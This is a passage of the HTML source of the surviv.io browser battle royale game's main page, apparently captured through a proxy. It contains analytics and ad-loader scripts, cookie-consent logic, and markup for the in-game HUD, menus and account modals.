<!doctype html> <html lang='en'> <head> <!-- Meta Properties --> <meta charset='UTF-8'> <title>surviv.io - 2d battle royale game</title> <meta name="viewport" content="width=device-width, height=device-height, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, viewport-fit=cover, user-scalable=no"> <link rel="manifest" href="manifest.json"> <meta name="mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-title" content="surviv.io"> <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent"> <meta name="application-name" content="surviv.io"> <meta name="description" content="Like games such as Player Unknown's Battlegrounds (PUBG), Fortnite or Apex Legends? Play this free 2d battle royale io game in your browser!"> <meta property="og:description" content="Like games such as Player Unknown's Battlegrounds (PUBG), Fortnite or Apex Legends? Play this free 2d battle royale io game in your browser!"> <meta name="keywords" content="survivio, surviv, 2d battle royale, io, battle royale browser game, 2d battlegrounds, battlegrounds, battleroyale, battle, royale, browser game, br, survival, game, web game, multiplayer"> <meta property="og:type" content="website"> <meta property="og:title" content="surviv.io"> <meta property="og:url" content="/~/https://surviv.io/"> <meta property="og:site_name" content="surviv.io"> <meta content="/~/https://surviv.io/img/title.png" property="og:image"> <link rel="canonical" href="/~/https://surviv.io" /> <link rel="apple-touch-icon-precomposed" href="img/icon_app.png"> <link rel="icon" href="favicon.ico" type="image/x-icon"> <!-- Global site tag (gtag.js) - Google Analytics --> <script> window.adsBlocked = false; window.adBlockDetected = function() { window.adsBlocked = true; } window.alert = function() { } /* Cookie consent */ var cfg = {}; var consented = true; var webview = false; try { cfg = JSON.parse(localStorage.getItem('surviv_config')) || {}; if (cfg.cookiesConsented != undefined) { consented = cfg.cookiesConsented; } webview = localStorage.getItem('surviv_webview'); } catch (e) { } window.cookiesConsented = consented; if (window.cookiesConsented) { document.write("<script async src='/~/https://www.googletagmanager.com/gtag/js?id=UA-108811301-1' onerror='adBlockDetected();'>\x3C/script>"); window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'UA-108811301-1', { 'anonymize_ip': true }); } window.webviewDetected = new RegExp("[?&]webview=true","gi").test(window.location.href) || webview; </script> <!-- AIP --> <script> document.write("<script async src='/~/https://api.adinplay.com/libs/aiptag/pub/SRV/surviv.io/tag.min.js'>\x3C/script>"); var aiptag = aiptag || {}; aiptag.gdprConsent = window.cookiesConsented; aiptag.consented = window.cookiesConsented; aiptag.cmd = aiptag.cmd || []; aiptag.cmd.display = aiptag.cmd.display || []; </script> <!-- Fonts --> <link href="/~/https://fonts.googleapis.com/css?family=Roboto+Condensed:400,700" rel="stylesheet"> <link href="css/app.dacc77a5.css" rel="stylesheet"><meta name="ROBOTS" content="NOINDEX, NOFOLLOW"/> </head> <body> <div id='preroll-wrapper'> <div id="preroll"></div> </div> <div id="fb-root"></div> <canvas tabindex='1' id='cvs'></canvas> <div id='game-area-wrapper' style='display: none' oncontextmenu='return false;'> <div id='game-touch-area'></div> <!-- Class Select --> <div id='ui-role-menu-wrapper'> <div id='ui-role-menu'> <div id='ui-role-header'></div> <div id='ui-role-body'></div> <div id='ui-role-footer'> <div id='ui-role-footer-desc' data-l10n='game-select-class'>SELECT A CLASS</div> <div id='ui-role-footer-enter'>ENTER GAME (20)</div> </div> </div> </div> <div id='ui-game' class='click-through'> <div id='tablet-console'></div> <div id='ui-center'> <div id='ui-game-menu'> <div id='btn-game-tabs' class='btns-game-double-row'> <div class='btn-game-container'> <a id='btn-game-settings' class='btn-game-tab-select btn-game-menu btn-game-menu-selected btn-darken' data-tab='settings'></a> <div class='btn-double-row game-menu-icon-static settings-icon'></div> </div> <div class='btn-game-container'> <a id='btn-game-keybinds' class='btn-game-tab-select btn-game-menu btn-darken' data-tab='keybinds'></a> <div class='btn-double-row game-menu-icon-static keybind-icon'></div> </div> </div> <div id='ui-game-tab-settings' class='ui-game-tab'> <a id='btn-game-fullscreen' class='btn-fullscreen-toggle btn-game-menu btn-darken' data-l10n='game-full-screen'>Full Screen</a> <div id='btn-touch-styles' class='btns-game-double-row'> <div class='btn-game-container'> <a id='btn-game-move-style' class='btn-double-row btn-game-touch-style btn-darken'></a> <div class='btn-double-row game-menu-icon-toggle movement-icon'></div> </div> <div class='btn-game-container'> <a id='btn-game-aim-style' class='btn-double-row btn-game-touch-style btn-darken'></a> <div class='btn-double-row game-menu-icon-toggle target-icon'></div> </div> </div> <a id='btn-game-aim-line' class='btn-game-menu btn-darken locked-on-icon' data-l10n='game-aim-line'>Aim Line</a> <a id='btn-game-sound' class='btn-sound-toggle btn-game-menu btn-darken audio-on-icon' data-l10n='game-sound'>Sound</a> <div class="slider-container ui-slider-container"> <p class='slider-text' data-l10n='index-master-volume'>Master Volume</p> <input type="range" min="0" max="100" value="100" class="slider sl-master-volume"> </div> <div class="slider-container ui-slider-container"> <p class='slider-text' data-l10n='index-sfx-volume'>SFX Volume</p> <input type="range" min="0" max="100" value="100" class="slider sl-sound-volume"> </div> <div class="slider-container ui-slider-container"> <p class='slider-text' data-l10n='index-music-volume'>Music Volume</p> <input type="range" min="0" max="100" value="100" class="slider sl-music-volume"> </div> <a id='btn-game-quit' class='btn-quit btn-game-menu btn-darken' data-l10n='game-quit-game'>Quit Game</a> </div> <div id='ui-game-tab-keybinds' class='ui-game-tab'> <div id='ui-keybind-list' class='js-keybind-list'></div> <a class='js-btn-keybind-restore btn-keybind-restore btn-game-menu btn-darken' data-l10n='game-restore-defaults'>Restore Defaults</a> </div> <a id='btn-game-resume' class='btn-game-menu btn-darken' data-l10n='game-return-to-game'>Return to Game</a> </div> </div> <div id='big-map' class='js-ui-map-show'> <div id='big-map-collision'></div> <div id='big-map-close'></div> </div> <div id='ui-emotes' class='ui-emote-wheel'> <div id='ui-emote-middle' class='ui-emote-middle ui-emote-circle ui-emote-parent' data-key='middle' data-id='0'> <div class='ui-emote ui-emote-bg-circle'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-emote-top' class='ui-emote-top ui-emote-quarter ui-emote-parent' data-key='top' data-id='1'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-emote-right' class='ui-emote-right ui-emote-quarter ui-emote-parent' data-key='right' data-id='2'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-emote-bottom' class='ui-emote-bottom ui-emote-quarter ui-emote-parent' data-key='bottom' data-id='3'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-emote-left' class='ui-emote-left ui-emote-quarter ui-emote-parent' data-key='left' data-id='4'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> </div> <div id='ui-team-pings' class='ui-emote-wheel'> <div id='ui-team-ping-middle' class='ui-emote-middle ui-emote-circle ui-emote-parent' data-id='0'> <div class='ui-emote ui-emote-bg-circle'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-team-ping-top' class='ui-emote-top ui-emote-quarter ui-emote-parent' data-id='1'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-team-ping-right' class='ui-emote-right ui-emote-quarter ui-emote-parent' data-id='2'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-team-ping-bottom' class='ui-emote-bottom ui-emote-quarter ui-emote-parent' data-id='3'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-large'></div> </div> <div id='ui-team-ping-bottom-left' class='ui-emote-bottom-left ui-emote-eighth ui-emote-parent' data-id='4'> <div class='ui-emote ui-emote-bg-eighth'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-small'></div> </div> <div id='ui-team-ping-top-left' class='ui-emote-top-left ui-emote-eighth ui-emote-parent' data-id='5'> <div class='ui-emote ui-emote-bg-eighth'></div> <div class='ui-emote ui-emote-hl'></div> <div class='ui-emote-image ui-emote-image-small'></div> </div> </div> <div id='ui-team-indicators' class='js-ui-map-hidden js-desktop-ui-hud-show'> <div class='ui-team-indicator ui-indicator-main' data-id='0'> <div class='ui-team-indicator-pos ui-background-yellow'></div> </div> <div class='ui-team-indicator ui-indicator-main' data-id='1'> <div class='ui-team-indicator-pos ui-background-purple'></div> </div> <div class='ui-team-indicator ui-indicator-main' data-id='2'> <div class='ui-team-indicator-pos ui-background-cyan'></div> </div> <div class='ui-team-indicator ui-indicator-main' data-id='3'> <div class='ui-team-indicator-pos ui-background-orange'></div> </div> <div class='ui-team-indicator ui-indicator-main' data-id='4'> <div class='ui-team-indicator-pos ui-background-yellow'></div> </div> <div class='ui-team-indicator ui-indicator-ping' data-id='0'> <div class='ui-team-indicator-pos ui-team-indicator-image'></div> </div> <div class='ui-indicator-ping-border' data-id='0'></div> <div class='ui-team-indicator ui-indicator-ping' data-id='1'> <div class='ui-team-indicator-pos ui-team-indicator-image'></div> </div> <div class='ui-indicator-ping-border' data-id='1'></div> <div class='ui-team-indicator ui-indicator-ping' data-id='2'> <div class='ui-team-indicator-pos ui-team-indicator-image'></div> </div> <div class='ui-indicator-ping-border' data-id='2'></div> <div class='ui-team-indicator ui-indicator-ping' data-id='3'> <div class='ui-team-indicator-pos ui-team-indicator-image'></div> </div> <div class='ui-indicator-ping-border' data-id='3'></div> <div class='ui-team-indicator ui-indicator-ping' data-id='4'> <div class='ui-team-indicator-pos ui-team-indicator-image'></div> </div> <div class='ui-indicator-ping-border' data-id='4'></div> </div> <div id='ui-right-center' class='ui-right-center-desktop js-ui-map-hidden'> <div id='ui-medical-interactive'> <div id='ui-loot-bandage' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-bandage'>Bandage</div> <div class='tooltip-description'><span data-l10n='game-bandage-tooltip'>Left-click to restore 15 health.</span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> <div id='ui-loot-healthkit' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-healthkit'>Med Kit</div> <div class='tooltip-description'><span data-l10n='game-healthkit-tooltip'>Left-click to restore 100 health.</div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> <div id='ui-loot-soda' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-soda'>Soda</div> <div class='tooltip-description'><span data-l10n='game-soda-tooltip'>Left-click to boost adrenaline by 25.</span><br><span data-l10n='game-adrenaline-tooltip'>Adrenaline restores health over time.</span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> <div id='ui-loot-chocolateBox' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-chocolateBox'>ChocolateBox</div> <div class='tooltip-description'><span data-l10n='game-soda-tooltip'>Left-click to boost adrenaline by 25.</span><br><span data-l10n='game-adrenaline-tooltip'>Adrenaline restores health over time.</span><br><span data-l10n='game-chocolateBox-tooltip'>Inmune to frenemy effect for 20s.</span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> <div id='ui-loot-painkiller' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-painkiller'>Pills</div> <div class='tooltip-description'><span data-l10n='game-painkiller-tooltip'>Left-click to boost adrenaline by 50.</div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> <div id='ui-loot-flask' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-flask'>Flask</div> <div class='tooltip-description'><span data-l10n='game-flask-tooltip'>Left-click for freeze damage immunity for 20 seconds.</span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> </div> <div id='ui-ammo-interactive'> <div id='ui-loot-50AE' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-50AE'></div> <div class='tooltip-description'><span data-l10n='game-50AE-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(30,30,30,0.75)'></div> </div> <div id='ui-loot-9mm' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-9mm'></div> <div class='tooltip-description'><span data-l10n='game-9mm-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(255,153,0,0.75)'></div> </div> <div id='ui-loot-308sub' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-308sub'></div> <div class='tooltip-description'><span data-l10n='game-308sub-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(49,56,0,0.75)'></div> </div> <div id='ui-loot-12gauge' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-12gauge'></div> <div class='tooltip-description'><span data-l10n='game-12gauge-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(255,0,0,0.75)'></div> </div> <div id='ui-loot-flare' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-flare'></div> <div class='tooltip-description'><span data-l10n='game-flare-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(255,85,0,0.75)'></div> </div> <div id='ui-loot-762mm' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-762mm'></div> <div class='tooltip-description'><span data-l10n='game-762mm-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(0,102,255,0.75)'></div> </div> <div id='ui-loot-45acp' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-45acp'></div> <div class='tooltip-description'><span data-l10n='game-45acp-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(121,0,255,0.75)'></div> </div> <div id='ui-loot-556mm' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-556mm'></div> <div class='tooltip-description'><span data-l10n='game-556mm-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(3,123,0,0.75)'></div> </div> <div id='ui-loot-40mm' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-40mm'></div> <div class='tooltip-description'><span data-l10n='game-40mm-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(12,221,171,0.75)'></div> </div> </div> <div id='ui-emote-button'></div> </div> <div id='ui-top-left' class='js-ui-hud-show click-through'> <div id='ui-team' class='js-ui-mobile-map-hidden'> <div class='ui-team-member ui-bg-standard' data-id='0'> <div class='ui-team-member-name'></div> <div class='ui-team-member-color ui-background-yellow'></div> <div class='ui-team-member-status'></div> <div class='ui-team-member-health'> <div class='ui-bar-inner ui-health-actual'></div> </div> </div> <div class='ui-team-member ui-bg-standard' data-id='1'> <div class='ui-team-member-name'></div> <div class='ui-team-member-color ui-background-purple'></div> <div class='ui-team-member-status'></div> <div class='ui-team-member-health'> <div class='ui-bar-inner ui-health-actual'></div> </div> </div> <div class='ui-team-member ui-bg-standard' data-id='2'> <div class='ui-team-member-name'></div> <div class='ui-team-member-color ui-background-cyan'></div> <div class='ui-team-member-status'></div> <div class='ui-team-member-health'> <div class='ui-bar-inner ui-health-actual'></div> </div> </div> <div class='ui-team-member ui-bg-standard' data-id='3'> <div class='ui-team-member-name'></div> <div class='ui-team-member-color ui-background-orange'></div> <div class='ui-team-member-status'></div> <div class='ui-team-member-health'> <div class='ui-bar-inner ui-health-actual'></div> </div> </div> </div> </div> <div id='ui-map-wrapper' class='ui-map-wrapper-desktop click-through'> <div id='ui-map-container'> <div id='ui-map-info' class='js-ui-map-hidden js-ui-hud-show'> <div id='ui-gas-icon' class='gas-icon'></div> <div id='ui-gas-timer'></div> </div> <div id='ui-spec-counter' class='js-ui-map-hidden js-ui-hud-show'> <div id='ui-spec-counter-icon'></div> <div id='ui-spec-counter-number'></div> </div> <div id='ui-settings-container-desktop' class='js-ui-desktop-map-hidden'> <div id='ui-map-expand-desktop' class='ui-map-expand ui-settings-button'> <img id='mag-glass-white' src=''></img> </div> <div id='ui-map-minimize' class='ui-settings-button js-ui-map-hidden'> <img id='ui-minimize-img' src=''></img> </div> </div> <div id='ui-settings-container-mobile' class='js-ui-mobile-map-hidden'> <div id='ui-alive-info'> <div id='ui-alive-icon' class='ui-map-icon alive-icon'></div> <div id='ui-map-counter-default' class='js-ui-players-alive'>0</div> <div id='ui-map-counter-faction'> <span class='ui-players-alive-red js-ui-players-alive-red'>0</span>:<span class='ui-players-alive-blue js-ui-players-alive-blue'>0</span> </div> </div> <div id='ui-map-expand-mobile' class='ui-map-expand ui-settings-button'></div> </div> </div> </div> <div id='ui-menu-display' class='ui-settings-button prop-event'></div> <div id='ui-kill-leader-container'> <div id='ui-kill-leader-wrapper' class='js-ui-map-hidden js-ui-hud-show hide-on-mobile'> <div id='ui-kill-leader-name'>Waiting for new leader</div> <div id='ui-kill-leader-icon'></div> <div id='ui-kill-leader-count'>0</div> </div> </div> <div id='ui-killfeed-wrapper'> <div id='ui-killfeed' class='js-ui-map-hidden js-ui-hud-show'> <div id='ui-killfeed-contents'></div> </div> </div> <div id='ui-leaderboard-wrapper'> <div id='ui-leaderboard' class='js-ui-hud-show'> <div id='ui-leaderboard-alive'> <span class='ui-players-alive js-ui-players-alive'>0</span> </div> <div id='ui-leaderboard-alive-faction'> <span class='ui-players-alive-red js-ui-players-alive-red'>0</span> <span class='ui-players-alive-blue js-ui-players-alive-blue'>0</span> </div> <div class='ui-leaderboard-header' data-l10n='game-alive'>Alive</div> </div> <div id='ui-kill-counter-wrapper' class='js-ui-map-show'> <div id='ui-kill-counter'> <span class='ui-player-kills js-ui-player-kills'>0</span> </div> <div class='ui-kill-counter-header' data-l10n='game-kills'>Kills</div> </div> </div> <div id='ui-top-center-scopes-wrapper'> <div id='ui-top-center-scopes' class='click-through js-ui-map-hidden'> <div id='ui-scope-1xscope' class='ui-scope ui-zoom'> <div class='ui-zoom-text'> <div class='ui-zoom-level'>1<span class='ui-zoom-append'>x</span></div> </div> </div> <div id='ui-scope-2xscope' class='ui-scope ui-zoom ui-outline-hover'> <div class='ui-zoom-text'> <div class='ui-zoom-level'>2<span class='ui-zoom-append'>x</span></div> </div> </div> <div id='ui-scope-4xscope' class='ui-scope ui-zoom ui-outline-hover'> <div class='ui-zoom-text'> <div class='ui-zoom-level'>4<span class='ui-zoom-append'>x</span></div> </div> </div> <div id='ui-scope-8xscope' class='ui-scope ui-zoom ui-outline-hover'> <div class='ui-zoom-text'> <div class='ui-zoom-level'>8<span class='ui-zoom-append'>x</span></div> </div> </div> <div id='ui-scope-15xscope' class='ui-scope ui-zoom ui-outline-hover'> <div class='ui-zoom-text'> <div class='ui-zoom-level'>15<span class='ui-zoom-append'>x</span></div> </div> </div> </div> </div> <div id='ui-top-center' class='js-ui-map-hidden js-ui-hud-show click-through'> <div id='ui-waiting-text' class='top-center-text'><span data-l10n='game-waiting-for-players'>Waiting for players</span>...</div> <div id='ui-spectate-text' class='top-center-text ui-spectate-mode'> <div class='spectate-text spectate-desc' data-l10n='game-spectating'>Spectating</div> <div id='spectate-player' class='spectate-text'></div> </div> </div> <div id='ui-upper-center' class='click-through'> <div id='ui-announcement'></div> </div> <div id='ui-upper-center-1' class='click-through'> <div id='ui-pickup-notification'> <div id='ui-pickup-description'>Item picked up</div> </div> </div> <div id='ui-lower-center' class='js-ui-map-hidden js-ui-hud-show click-through'> <div id='ui-interaction'> <div id='ui-interaction-press'></div> <div id='ui-interaction-outer'> <div id='ui-interaction-description'></div> </div> </div> </div> <div id='ui-bottom-center-2' class='click-through'> <div id='ui-pickup-message' class='notify-message'></div> <div id='ui-perk-message-wrapper' class='notify-message'> <div id='ui-perk-message-image-wrapper'> <div id='ui-perk-message-image-icon'></div> </div> <div id='ui-perk-message-name' class='notify-message'></div> <div id='ui-perk-message-acquired' class='notify-message'></div> </div> </div> <div id='ui-equipped-ammo-wrapper' class='js-ui-map-hidden js-ui-hud-show'> <div id='ui-equipped-ammo'> <div id='ui-bullet-counter'> <div id='ui-current-clip'>0</div> <div id='ui-remaining-ammo'>0</div> <div id='ui-reload-button-container'> <div id='ui-reload-button'></div> </div> </div> </div> </div> <div id='ui-bottom-center-0' class='click-through js-ui-map-hidden js-ui-hud-show'> <div id='ui-boost-counter'> <div class='ui-boost-base' id='ui-boost-counter-0'> <div class='ui-bar-inner'></div> </div> <div class='ui-boost-base' id='ui-boost-counter-1'> <div class='ui-bar-inner'></div> </div> <div class='ui-boost-base' id='ui-boost-counter-2'> <div class='ui-bar-inner'></div> </div> <div class='ui-boost-base' id='ui-boost-counter-3'> <div class='ui-bar-inner'></div> </div> </div> <div id='ui-health-counter'> <div id='ui-health-flair-left' class='ui-health-flair'></div> <div id='ui-health-flair-right' class='ui-health-flair'></div> <div id='ui-health-container'> <div class='ui-bar-inner' id='ui-health-actual'></div> <div class='ui-bar-inner' id='ui-health-depleted'></div> </div> </div> </div> <div id='ui-bottom-center-left' class='js-ui-map-hidden'> <div id='ui-perk-0' class='ui-armor-counter tooltip-perk ui-outline-hover'> <div class='tooltip-text'> <div class='tooltip-title'></div> <div class='tooltip-desc'></div> </div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> <div id='ui-perk-1' class='ui-armor-counter tooltip-perk ui-outline-hover'> <div class='tooltip-text'> <div class='tooltip-title'></div> <div class='tooltip-desc'></div> </div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> <div id='ui-perk-2' class='ui-armor-counter tooltip-perk ui-outline-hover'> <div class='tooltip-text'> <div class='tooltip-title'></div> <div class='tooltip-desc'></div> </div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> </div> <div id='ui-bottom-center-right' class='js-ui-map-hidden'> <div id='ui-armor-helmet' class='ui-armor-counter ui-outline-hover'> <div class='ui-armor-counter-inner'></div> <div class='ui-armor-level'></div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> <div id='ui-armor-chest' class='ui-armor-counter ui-outline-hover'> <div class='ui-armor-counter-inner'></div> <div class='ui-armor-level'></div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> <div id='ui-armor-backpack' class='ui-armor-counter'> <div class='ui-armor-counter-inner'></div> <div class='ui-armor-level'></div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> </div> <div id='ui-bottom-right' class='js-ui-map-hidden'> <div id='ui-weapon-container'> <div class='ui-weapon-info'> <div class='ui-weapon-switch ui-outline-hover' id='ui-weapon-id-1' data-slot='1'> <div class='ui-weapon-name'></div> <div class='ui-weapon-number'>1</div> <img class='ui-weapon-image' src=''></img> </div> </div> <div class='ui-weapon-info'> <div class='ui-weapon-switch ui-outline-hover' id='ui-weapon-id-2' data-slot='2'> <div class='ui-weapon-name'></div> <div class='ui-weapon-number'>2</div> <img class='ui-weapon-image' src=''></img> </div> </div> <div class='ui-weapon-info'> <div class='ui-weapon-switch ui-outline-hover' id='ui-weapon-id-3'> <div class='ui-weapon-name'></div> <div class='ui-weapon-number'>3</div> <img class='ui-weapon-image' src=''></img> </div> </div> <div class='ui-weapon-info'> <div class='ui-weapon-switch ui-outline-hover' id='ui-weapon-id-4'> <div class='ui-weapon-name'></div> <div class='ui-weapon-number'>4</div> <div class='ui-weapon-exp ui-weapon-ammo-counter'>0</div> <img class='ui-weapon-image' src=''></img> </div> </div> </div> </div> <div id='ui-spectate-options-wrapper'> <div id='ui-spectate-options' class='ui-spectate-mode js-ui-hud-show click-through'> <div id='ui-spectate-buttons' class='ui-bg-standard'> <a class='menu-option btn-darken' id='btn-spectate-next-player' data-l10n='game-next-teammate'>Next Teammate</a> <a class='menu-option btn-darken' id='btn-spectate-prev-player' data-l10n='game-previous-teammate'>Previous Teammate</a> <a class='menu-option btn-darken' id='btn-spectate-view-stats' data-l10n='game-view-match-stats'>View Match Stats</a> <a class='menu-option btn-darken btn-quit' id='btn-spectate-quit' data-l10n='game-leave-game'>Leave Game</a> </div> <div id='ui-spectate-stats' class='ui-bg-standard'> <div id='ui-spectate-stats-header' data-l10n='game-your-results'>Your Results</div> <table id='ui-spectate-stats-table'> <tbody id='ui-spectate-stats-data'> </tbody> </table> </div> </div> </div> <div id='ui-bottom-center-1' class='click-through'> <div id='ui-kills'> <div id='ui-kill-text'></div> <div id='ui-kill-count'></div> </div> </div> </div> <div id='ui-stats'> <div id='ui-stats-bg'></div> <div id='ui-stats-contents'> <div id='ui-stats-contents-inner'> <div id='ui-stats-header'></div> <div id='ui-stats-info-box'></div> <div id='ui-stats-options'></div> <div id='ui-stats-logo'></div> </div> <div id='ui-stats-ad-container-desktop' class='ui-stats-ad-container'> <div id='surviv-io_300x250_2'></div> </div> <div id='ui-stats-ad-container-mobile' class='ui-stats-ad-container'> <div id='surviv-io_300x250_mobile_2'></div> </div> </div> </div> <div class='ui-stats-adblock surviv-shirts'> <a class='surviv-shirts-link' href='/~/https://www.amazon.com/s?rh=n%3A7141123011%2Cp_4%3Asurviv.io&ref=w_bl_sl_s_ap_web_7141123011' target="_blank"></a> </div> <div class='ui-stats-adblock adblock-plea'> <span>Please consider supporting us by disabling your adblocker.</span> </div> </div> <div id='start-menu-wrapper'> <div id='safari-margin'></div> <div id='background'> <div id='start-overlay'></div> </div> <div id='event-modal'> <div id='modal-container'> <p id='modal-header' data-l10n='index-modal-test'>(HEADER TEXT)</p> <img id='modal-img-1'> <div id='modal-content'> <img id='modal-img-2'> <p id='modal-text' data-l10n='event-desc'>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Tincidunt dui ut ornare lectus sit amet est.</p> </div> <button class='close' id='modal-btn' data-l10n='modal-btn-txt' type='button'>(BUTTON TEXT)</button> </div> </div> <div id='start-main'> <div id='start-top-left'> <div id='btn-hamburger' class='icon-hamburger'></div> <div id='start-top-left-desktop'> <div id='featured-streamers'> <div class='streaming-header'> <div id='streaming-header-title' data-l10n='index-streaming-live'>Streaming Live!</div> <div id='streaming-icon'></div> </div> <div class='streamer-list'></div> <div id='featured-streamer-template'> <a href='' target='_blank' class='btn-streamer btn-darken'></a> </div> </div> <div id='featured-youtuber'> <div class='youtube-header'> <div id='youtube-header-title' data-l10n='index-featured-youtuber'>Featured YouTuber</div> </div> <a href='' target='_blank' class='btn-youtuber btn-darken'></a> </div> </div> </div> <!-- Accounts Modals --> <div id='modal-account-name-change' class='modal modal-account'> <div class='modal-content modal-close'> <div class='modal-header modal-header-name'> <span class='close close-corner'></span> <h2 id='modal-account-name-title' data-l10n='index-create-account'>Create Account</h2> </div> <div class='modal-body modal-body-name'> <div class='modal-settings-item'> <p id='modal-account-name-desc' class='modal-body-text' data-l10n='index-set-account-name'>Set your account name:</p> <div id='modal-body-warning'></div> <input type='text' class='menu-option player-name-input' tabindex='0' placeholder='Enter name' id='modal-account-name-input' maxlength='16' /> </div> </div> <div class='modal-footer modal-footer-name modal-footer-round'> <h3 id='modal-account-name-finish' class='finish' data-l10n='index-finish'>Finish</h3> </div> </div> </div> <div id='modal-account-reset-stats' class='modal modal-account'> <div class='modal-content modal-close'> <div class='modal-header modal-header-reset-stats'> <span class='close close-corner'></span> <h2 id='modal-account-name-title' data-l10n='index-reset-stats'>Reset Stats</h2> </div> <div class='modal-body modal-body-reset-stats'> <div class='modal-settings-item'> <p id='modal-account-reset-stats-desc' class='modal-body-text' data-l10n='index-reset-stats-desc'>Enter "RESET STATS" to reset your stats:</p> <p id='modal-account-reset-stats-desc-2' class='modal-body-text' data-l10n='index-reset-stats-desc-2'>(This does not reset pass progress.)</p> <input type='text' class='menu-option player-name-input' tabindex='0' placeholder='' id='modal-account-reset-stats-input' maxlength='16' /> </div> </div> <div class='modal-footer modal-footer-reset-stats modal-footer-round'> <h3 id='modal-account-reset-stats-finish' class='finish' data-l10n='index-confirm'>Confirm</h3> </div> </div> </div> <div id='modal-account-delete' class='modal modal-account'> <div class='modal-content modal-close'> <div class='modal-header modal-header-delete'> <span class='close close-corner'></span> <h2 id='modal-account-name-title' data-l10n='index-delete-account'>Delete Account</h2> </div> <div class='modal-body modal-body-delete'> <div 